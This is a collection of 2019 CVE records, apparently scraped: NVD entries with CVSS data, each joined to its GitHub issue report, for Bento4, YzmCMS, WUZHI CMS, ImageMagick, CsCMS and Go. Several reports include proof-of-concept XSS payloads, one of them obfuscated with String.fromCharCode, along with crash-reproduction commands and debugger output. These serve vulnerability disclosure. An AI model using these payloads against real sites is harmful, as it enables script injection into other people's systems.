std::allocator<char> >::_M_append(char const*, unsigned long)() [#1] 0x7ffff681f34b → Exiv2::Internal::indent[abi:cxx11](int)(d=0x825) [#2] 0x7ffff66eb692 → Exiv2::(anonymous namespace)::BigTiffImage::printIFD(this=0x61300000de80, out=@0x672ac0, option=Exiv2::kpsRecursive, dir_offset=0x80, depth=0xd20) [#3] 0x7ffff66ebe88 → Exiv2::(anonymous namespace)::BigTiffImage::printIFD(this=0x61300000de80, out=@0x672ac0, option=Exiv2::kpsRecursive, dir_offset=0x80, depth=0xd1f) [#4] 0x7ffff66ebe88 → Exiv2::(anonymous namespace)::BigTiffImage::printIFD(this=0x61300000de80, out=@0x672ac0, option=Exiv2::kpsRecursive, dir_offset=0x80, depth=0xd1e) [#5] 0x7ffff66ebe88 → Exiv2::(anonymous namespace)::BigTiffImage::printIFD(this=0x61300000de80, out=@0x672ac0, option=Exiv2::kpsRecursive, dir_offset=0x80, depth=0xd1d) [#6] 0x7ffff66ebe88 → Exiv2::(anonymous namespace)::BigTiffImage::printIFD(this=0x61300000de80, out=@0x672ac0, option=Exiv2::kpsRecursive, dir_offset=0x80, depth=0xd1c) [#7] 0x7ffff66ebe88 → Exiv2::(anonymous namespace)::BigTiffImage::printIFD(this=0x61300000de80, out=@0x672ac0, option=Exiv2::kpsRecursive, dir_offset=0x80, depth=0xd1b) [#8] 0x7ffff66ebe88 → Exiv2::(anonymous namespace)::BigTiffImage::printIFD(this=0x61300000de80, out=@0x672ac0, option=Exiv2::kpsRecursive, dir_offset=0x80, depth=0xd1a) [#9] 0x7ffff66ebe88 → Exiv2::(anonymous namespace)::BigTiffImage::printIFD(this=0x61300000de80, out=@0x672ac0, option=Exiv2::kpsRecursive, dir_offset=0x80, depth=0xd19) ```

Uncontrolled recursion loop in Exiv2::(anonymous namespace)::BigTiffImage::printIFD( )

https://api.github.com/repos/Exiv2/exiv2/issues/712/comments

4

2019-02-21T11:57:14Z

2020-01-24T16:01:01Z

https://github.com/Exiv2/exiv2/issues/712

412,888,776

712

CVE-2019-9544

2019-03-01T19:29:02.850

An issue was discovered in Bento4 1.5.1-628. An out of bounds write occurs in AP4_CttsTableEntry::AP4_CttsTableEntry() located in Core/Ap4Array.h. It can be triggered by sending a crafted file to (for example) the mp42hls binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/374" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/out-of-bounds-write-in-function-ap4_cttstableentryap4_cttstableentry-bento4-1-5-1-0/" } ]

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https://github.com/axiomatic-systems/Bento4/issues/374

[ "Exploit", "Third Party Advisory" ]

github.com

[ "axiomatic-systems", "Bento4" ]

**Description** - we observed a Out of bound write occured in function AP4_Array<AP4_CttsTableEntry>::SetItemCount() located in Ap4Array.h.The same be triggered by sending a crafted file to the [mp42hls.exe(windows)] [mp42hls(ubuntu)] binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. **Command in linux** - mp42hls --hls-version 3 --pmt-pid 0x100 --video-pid 0x102 --video-track-id 1 --segment-duration 6 --segment-duration-threshold 15 --pcr-offset 10000 --index-filename stream.m3u8 --segment-filename-template stream.mp4 --output-single-file $POC **Command in windows** - mp42hls.exe --hls-version 3 --pmt-pid 0x100 --video-pid 0x102 --video-track-id 1 --segment-duration 6 --segment-duration-threshold 15 --pcr-offset 10000 --index-filename stream.m3u8 --segment-filename-template stream.mp4 --output-single-file $POC **POC** - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/BENTO4/HOB_POC1?raw=true) **Degub** - **ASAN REPORT** - ~~~ ASAN report: WARNING: forcing version to 4 in order to support single file output ================================================================= ==9911==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb4303d10 at pc 0x08187f87 bp 0xbfffd008 sp 0xbfffcff8 WRITE of size 4 at 0xb4303d10 thread T0 #0 0x8187f86 in AP4_CttsTableEntry::AP4_CttsTableEntry() /Bento4/Source/C++/Core/Ap4CttsAtom.h:51 #1 0x8188428 in AP4_Array<AP4_CttsTableEntry>::SetItemCount(unsigned int) /Bento4/Source/C++/Core/Ap4Array.h:215 #2 0x8187441 in AP4_CttsAtom::AP4_CttsAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /Bento4/Source/C++/Core/Ap4CttsAtom.cpp:79 #3 0x81870aa in AP4_CttsAtom::Create(unsigned int, AP4_ByteStream&) /Bento4/Source/C++/Core/Ap4CttsAtom.cpp:52 #4 0x8196e9a in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:469 #5 0x81950ee in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:231 #6 0x80c376f in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194 #7 0x80c31a1 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139 #8 0x80c2c79 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88 #9 0x81987d0 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:774 #10 0x81950ee in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:231 #11 0x80c376f in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194 #12 0x80c31a1 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139 #13 0x80c2c79 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88 #14 0x81987d0 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:774 SUMMARY: AddressSanitizer: heap-buffer-overflow /Bento4/Source/C++/Core/Ap4CttsAtom.h:51 AP4_CttsTableEntry::AP4_CttsTableEntry() Shadow bytes around the buggy address: 0x36860750: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x36860760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x36860770: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x36860780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x36860790: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x368607a0: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa 0x368607b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x368607c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x368607d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x368607e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x368607f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==9911==ABORTING ~~~ **GDB** - ~~~ source:/home/loginsoft/ACE/sources/himanshu_sources/Bento4/Source/C++/Core/Ap4Array.h+215 ──── 210 AP4_Result result = EnsureCapacity(item_count); 211 if (AP4_FAILED(result)) return result; 212 213 // construct the new items 214 for (unsigned int i=m_ItemCount; i<item_count; i++) { // i=0x27ae → 215 new ((void*)&m_Items[i]) T(); 216 } 217 m_ItemCount = item_count; 218 return AP4_SUCCESS; 219 } 220 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "mp42hls", stopped, reason: SIGSEGV ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x810429f → AP4_Array<AP4_SbgpAtom::Entry>::SetItemCount(this=0x8165278, item_count=0x80000001) [#1] 0x8103d92 → AP4_SbgpAtom::AP4_SbgpAtom(this=0x8165250, size=0x1c, version=0x0, flags=0x0, stream=@0x8159ea0) [#2] 0x8103bf5 → AP4_SbgpAtom::Create(size=0x1c, stream=@0x8159ea0) [#3] 0x80f59da → AP4_AtomFactory::CreateAtomFromStream(this=0xbffff1c4, stream=@0x8159ea0, type=0x73626770, size_32=0x1c, size_64=0x1c, atom=@0xbfffe72c) [#4] 0x80f412a → AP4_AtomFactory::CreateAtomFromStream(this=0xbffff1c4, stream=@0x8159ea0, bytes_available=@0xbfffe730, atom=@0xbfffe72c) [#5] 0x80a4cd5 → AP4_ContainerAtom::ReadChildren(this=0x815ea10, atom_factory=@0xbffff1c4, stream=@0x8159ea0, size=0x4a40) [#6] 0x80a4a44 → AP4_ContainerAtom::AP4_ContainerAtom(this=0x815ea10, type=0x7374626c, size=0x4a48, force_64=0x0, stream=@0x8159ea0, atom_factory=@0xbffff1c4) [#7] 0x80a47e5 → AP4_ContainerAtom::Create(type=0x7374626c, size=0x4a48, is_full=0x0, force_64=0x0, stream=@0x8159ea0, atom_factory=@0xbffff1c4) [#8] 0x80f5bbf → AP4_AtomFactory::CreateAtomFromStream(this=0xbffff1c4, stream=@0x8159ea0, type=0x7374626c, size_32=0x4a48, size_64=0x4a48, atom=@0xbfffe93c) [#9] 0x80f412a → AP4_AtomFactory::CreateAtomFromStream(this=0xbffff1c4, stream=@0x8159ea0, bytes_available=@0xbfffe940, atom=@0xbfffe93c) ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ p/d entry_count $3 = 1073742722 gef➤ p/d item_count $4 = 1073742722 gef➤ ptype i type = unsigned int gef➤ p/d i $13 = 15468 gef➤ p/d m_Items $14 = 135638176 gef➤ ptype m_Items type = class AP4_CttsTableEntry { public: AP4_UI32 m_SampleCount; AP4_UI32 m_SampleOffset; AP4_CttsTableEntry(void); AP4_CttsTableEntry(AP4_UI32, AP4_UI32); } * gef➤ x m_Items[i] Cannot access memory at address 0x8179000 gef➤ p m_Items[15468] Cannot access memory at address 0x8179000 gef➤ i r eax 0x8179000 0x8179000 ecx 0xb7df3780 0xb7df3780 edx 0x1e360 0x1e360 ebx 0x815ac60 0x815ac60 esp 0xbfffe528 0xbfffe528 ebp 0xbfffe528 0xbfffe528 esi 0x1c20 0x1c20 edi 0xb7df3000 0xb7df3000 eip 0x80ef168 0x80ef168 <AP4_CttsTableEntry::AP4_CttsTableEntry()+6> eflags 0x10292 [ AF SF IF RF ] cs 0x73 0x73 ss 0x7b 0x7b ds 0x7b 0x7b es 0x7b 0x7b fs 0x0 0x0 gs 0x33 0x33 ~~~ **DEBUG ON WINDOWS** - ~~~ STACK_TEXT: 004be750 000d6b2d 0074f000 00000551 00000000 Mp42Hls!AP4_CttsTableEntry::AP4_CttsTableEntry+0x11 004be76c 000d60e3 40000382 15981e17 004be928 Mp42Hls!AP4_Array<AP4_CttsTableEntry>::SetItemCount+0xbd 004be7bc 000d668b 00001c20 00000000 00000000 Mp42Hls!AP4_CttsAtom::AP4_CttsAtom+0xa3 004be808 000a1fb9 00001c20 00749810 1598109f Mp42Hls!AP4_CttsAtom::Create+0xab 004be934 000a08dd 00749810 63747473 00001c20 Mp42Hls!AP4_AtomFactory::CreateAtomFromStream+0x14c9 004be9e8 000ae0b9 00749810 004bea08 004bea18 Mp42Hls!AP4_AtomFactory::CreateAtomFromStream+0x26d FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c0000005_Mp42Hls.exe!AP4_CttsTableEntry::AP4_CttsTableEntry BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_WRITE_Mp42Hls!AP4_CttsTableEntry::AP4_CttsTableEntry+11 ExceptionCode: c0000005 (Access violation) FAULTING_SOURCE_FILE: \bento4-master\source\c++\core\ap4cttsatom.h FAILURE_FUNCTION_NAME: AP4_CttsTableEntry::AP4_CttsTableEntry Registers: eax=0074f000 ebx=7efde000 ecx=0074f000 edx=00000001 esi=004be954 edi=004be7b0 eip=000d62f1 esp=004be74c ebp=004be750 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 ~~~

Out of bound write in AP4_CttsTableEntry::AP4_CttsTableEntry()

https://api.github.com/repos/axiomatic-systems/Bento4/issues/374/comments

0

2019-02-28T15:32:28Z

https://github.com/axiomatic-systems/Bento4/issues/374

415,682,606

374

CVE-2019-9570

2019-03-05T14:29:00.247

An issue was discovered in YzmCMS 5.2.0. It has XSS via the bottom text field to the admin/system_manage/save.html URI, related to the site_code parameter.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 1.7, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/yzmcms/yzmcms/issues/11" } ]

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https://github.com/yzmcms/yzmcms/issues/11

[ "Exploit", "Third Party Advisory" ]

github.com

[ "yzmcms", "yzmcms" ]

Hi, I would like to report Cross Site Scripting vulnerability in YzmCMS V5.2. POC: 1.Login to administrator panel. 2.Open below URL in browser which supports flash. url:http://123.com/admin/system_manage/save.html eg: <script>alert('xss2')</script> ![xss2 3](https://user-images.githubusercontent.com/32690714/53786532-f617c100-3f56-11e9-95cb-057e221990ef.png) ![xss2 4](https://user-images.githubusercontent.com/32690714/53786562-18114380-3f57-11e9-8861-9e0a595c6677.png) Fix: Filter the site_code parameter

Bug: YzmCMS V5.2 XSS

https://api.github.com/repos/yzmcms/yzmcms/issues/11/comments

1

2019-03-05T06:59:56Z

2020-12-28T07:43:28Z

https://github.com/yzmcms/yzmcms/issues/11

417,146,864

11

CVE-2018-17425

2019-03-07T23:29:01.033

WUZHI CMS 4.1.0 has stored XSS via the "Membership Center" "I want to ask" "detailed description" field under the index.php?m=member URI.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/wuzhicms/wuzhicms/issues/153" } ]

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https://github.com/wuzhicms/wuzhicms/issues/153

[ "Exploit", "Third Party Advisory" ]

github.com

[ "wuzhicms", "wuzhicms" ]

WUZHI CMS 4.1.0 Front-end user login - Membership Center - I want to ask - detailed description - > storage XSS vulnerabilities found in the system Bulletin poc xss payload:<details/open/ontoggle=eval(String.fromCharCode(97)+String.fromCharCode(108)+String.fromCharCode(101)+String.fromCharCode(114)+String.fromCharCode(116)+String.fromCharCode(40)+String.fromCharCode(50)+String.fromCharCode(41))> Steps to Reproduce http://127.0.0.1/index.php?m=member ![0](https://user-images.githubusercontent.com/32322494/45729023-3aa7de00-bbfd-11e8-8e59-ef8925ad0e1c.png) ![1](https://user-images.githubusercontent.com/32322494/45729032-42678280-bbfd-11e8-8cb2-01d6e06b7547.png) ![2](https://user-images.githubusercontent.com/32322494/45729038-4693a000-bbfd-11e8-969e-b8c333f347f9.png)

Front-end user login - Membership Center - I want to ask - detailed description - > storage XSS vulnerabilities found in the system Bulletin

https://api.github.com/repos/wuzhicms/wuzhicms/issues/153/comments

0

2018-09-19T03:16:02Z

2018-09-19T05:10:24Z

https://github.com/wuzhicms/wuzhicms/issues/153

361,561,649

153

CVE-2018-17426

2019-03-07T23:29:01.080

WUZHI CMS 4.1.0 has stored XSS via the "Extension module" "SMS in station" field under the index.php?m=core URI.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/wuzhicms/wuzhicms/issues/154" } ]

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https://github.com/wuzhicms/wuzhicms/issues/154

[ "Exploit", "Third Party Advisory" ]

github.com

[ "wuzhicms", "wuzhicms" ]

WUZHI CMS 4.1.0 There is a a Stored-XSS Extension module - SMS in station POC <details/open/ontoggle=eval(String.fromCharCode(97)+String.fromCharCode(108)+String.fromCharCode(101)+String.fromCharCode(114)+String.fromCharCode(116)+String.fromCharCode(40)+String.fromCharCode(50)+String.fromCharCode(41))> ![0](https://user-images.githubusercontent.com/32322494/45732273-1e606d00-bc0e-11e8-81e9-45a4c74e6e5b.png) ![1](https://user-images.githubusercontent.com/32322494/45732275-23252100-bc0e-11e8-822b-a2bdae3662bc.png) ![2](https://user-images.githubusercontent.com/32322494/45732279-26b8a800-bc0e-11e8-9338-872e41b65dfd.png)

WUZHI CMS 4.1.0 There is a a Stored-XSS

https://api.github.com/repos/wuzhicms/wuzhicms/issues/154/comments

0

2018-09-19T05:16:06Z

https://github.com/wuzhicms/wuzhicms/issues/154

361,581,619

154

CVE-2019-7175

2019-03-07T23:29:01.597

In ImageMagick before 7.0.8-25, some memory leaks exist in DecodeImage in coders/pcd.c.

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[ { "source": "[email protected]", "tags": [ "Broken Link", "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00034.html" }, { "source": "[email protected]", "tags": [ "Broken Link" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00006.html" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/commit/1e6a3ace073c9ec9c71e439c111d23c6e66cb6ae" }, { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/issues/1450" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/4034-1/" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2020/dsa-4712" } ]

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https://github.com/ImageMagick/ImageMagick/issues/1450

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "ImageMagick", "ImageMagick" ]

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description  memory leak in DecodeImage in coders/pcd.c, which is different from #1193 and #811 ### Steps to Reproduce  The critical code snippet is: https://github.com/ImageMagick/ImageMagick/blob/master/coders/pcd.c#L198 ```c for (i=0; i < (image->columns > 1536 ? 3 : 1); i++) { PCDGetBits(8); length=(sum & 0xff)+1; pcd_table[i]=(PCDTable *) AcquireQuantumMemory(length, //line 202 sizeof(*pcd_table[i])); if (pcd_table[i] == (PCDTable *) NULL) //line 204 { buffer=(unsigned char *) RelinquishMagickMemory(buffer); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", //line 207 image->filename); } r=pcd_table[i]; for (j=0; j < (ssize_t) length; j++) { PCDGetBits(8); r->length=(unsigned int) (sum & 0xff)+1; if (r->length > 16) //line 215 { buffer=(unsigned char *) RelinquishMagickMemory(buffer); return(MagickFalse); //line 218 } PCDGetBits(16); r->sequence=(unsigned int) (sum & 0xffff) << 16; PCDGetBits(8); r->key=(unsigned char) (sum & 0xff); r->mask=(~((1U << (32-r->length))-1)); r++; } pcd_length[i]=(size_t) length; } ``` **pcd_table[i]** is allocated at *line 202*, however, **pcd_table[0~i]** are forgot to be freed when exception happens at line *204* or function returns at *line 215*. **pcd_table** is a local array variable and it isn't passed to the caller function when DecodeImage returns with MagickFalse at *line 207 and 218*. As a result, the allocated memory pcd_table[0~(i-1)] (or pcd_table[0~i] when returned at line 218) will not be freed and memory leak happens. The max size of leaked memory is 3*(0xff+1)*sizeof(*pcd_table[0]) The patch suggestion: ```c if (pcd_table[i] == (PCDTable *) NULL) //line 204 { buffer=(unsigned char *) RelinquishMagickMemory(buffer); for (k=0; k < i; k++) pcd_table[k] = (PCDTable *)RelinquishMagickMemory(pcd_table[k]); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } if (r->length > 16) { buffer=(unsigned char *) RelinquishMagickMemory(buffer); for (k=0; k <= i; k++) pcd_table[k] = (PCDTable *)RelinquishMagickMemory(pcd_table[k]); return(MagickFalse); } ``` ### System Configuration  - ImageMagick version: ImageMagick-4f0ea40e2a090e245f31d1f05247520d6e7eb4ca - Environment (Operating system, version and so on): Ubuntu 16.04 - Additional information:  Credit to Bingchang Liu at VARAS of IIE

memory leak in DecodeImage in coders/pcd.c different from #1193 and #811

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1450/comments

3

2019-01-17T02:37:57Z

2019-03-11T01:54:24Z

https://github.com/ImageMagick/ImageMagick/issues/1450

400,085,839

1,450

CVE-2019-9598

2019-03-07T23:29:02.157

An issue was discovered in Cscms 4.1.0. There is an admin.php/pay CSRF vulnerability that can change the payment account to redirect funds.

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[ { "source": "[email protected]", "tags": [ "Issue Tracking", "Exploit", "Third Party Advisory" ], "url": "https://github.com/chshcms/cscms/issues/4" } ]

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https://github.com/chshcms/cscms/issues/4

[ "Issue Tracking", "Exploit", "Third Party Advisory" ]

github.com

[ "chshcms", "cscms" ]

Hi, I would like to report CSRF vulnerability inCsCMS V4.1. There is a CSRF vulnerability that can change of payment account to steal property. POC: 1.Login to administrator panel. 2.Open below URL in browser which supports flash. url:http://www.cscms.com/admin.php/pay eg: 1.Before modification ![csrf1](https://user-images.githubusercontent.com/32690714/53869552-6c89f100-4033-11e9-90c9-114c9e3dc502.png) 2.CSRF POC [csrfpoc.txt](https://github.com/chshcms/cscms/files/2935384/csrfpoc.txt) 3.After modification ![csrf2](https://user-images.githubusercontent.com/32690714/53869842-f934af00-4033-11e9-9da6-f982b7d23569.png)

Bug: CsCMS V4.1 CSRF

https://api.github.com/repos/chshcms/cscms/issues/4/comments

0

2019-03-06T09:20:08Z

2019-03-11T06:50:56Z

https://github.com/chshcms/cscms/issues/4

417,699,575

4

CVE-2019-9634

2019-03-08T15:29:00.190

Go through 1.12 on Windows misuses certain LoadLibrary functionality, leading to DLL injection.

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[ { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "http://www.openwall.com/lists/oss-security/2019/04/09/1" }, { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/107450" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Patch", "Third Party Advisory" ], "url": "https://github.com/golang/go/issues/30642" } ]

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https://github.com/golang/go/issues/30642

[ "Exploit", "Issue Tracking", "Patch", "Third Party Advisory" ]

github.com

[ "golang", "go" ]

@bradfitz suggested I open an issue for this rather than merely pushing fixes up to gerrit, so that we can track this for a 1.12 point release. This runtime PR cleans up some LoadLibrary usage: https://go-review.googlesource.com/c/go/+/165798 And this x/sys PR makes the fallback there more reliable: https://go-review.googlesource.com/c/sys/+/165759 The goal is that everywhere LoadLibraryEx preferred, but when not possible, LoadLibrary is called only with either an absolute path computed properly with GetSystemDirectory() or with the exact string `kernel32.dll`. I haven't yet dynamically traced the exes yet to verify I've whacked them all now, but hopefully I or someone else can get that done before this issue is closed.

runtime: dll injection vulnerabilities on Windows (CVE-2019-9634)

https://api.github.com/repos/golang/go/issues/30642/comments

23

2019-03-06T21:00:30Z

2022-08-04T22:05:36Z

https://github.com/golang/go/issues/30642

418,006,511

30,642

CVE-2019-9660

2019-03-11T05:29:00.723

Stored XSS exists in YzmCMS 5.2 via the admin/category/edit.html "catname" parameter.

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[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/yzmcms/yzmcms/issues/12" } ]

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https://github.com/yzmcms/yzmcms/issues/12

[ "Exploit", "Third Party Advisory" ]

github.com

[ "yzmcms", "yzmcms" ]

### Vulnerability description A xss vulnerability was discovered in yzmcms. In YzmCMS 5.2, stored XSS exists via the admin/category/edit.html catname parameter, which allows remote attackers to inject arbitrary web script or HTML. ### poc xss payload: ``` <img src=# onerror=alert(1)> ``` ![image](https://user-images.githubusercontent.com/18137763/54064171-fe207b00-424c-11e9-8143-9e2fa8c9f456.png) ![image](https://user-images.githubusercontent.com/18137763/54064268-b3ebc980-424d-11e9-88bf-dda4982df4fa.png) ![image](https://user-images.githubusercontent.com/18137763/54064257-a2a2bd00-424d-11e9-9926-a3aa0da1d708.png)

There is a stored XSS vulnerability in yzmcms v5.2

https://api.github.com/repos/yzmcms/yzmcms/issues/12/comments

0

2019-03-09T01:29:50Z

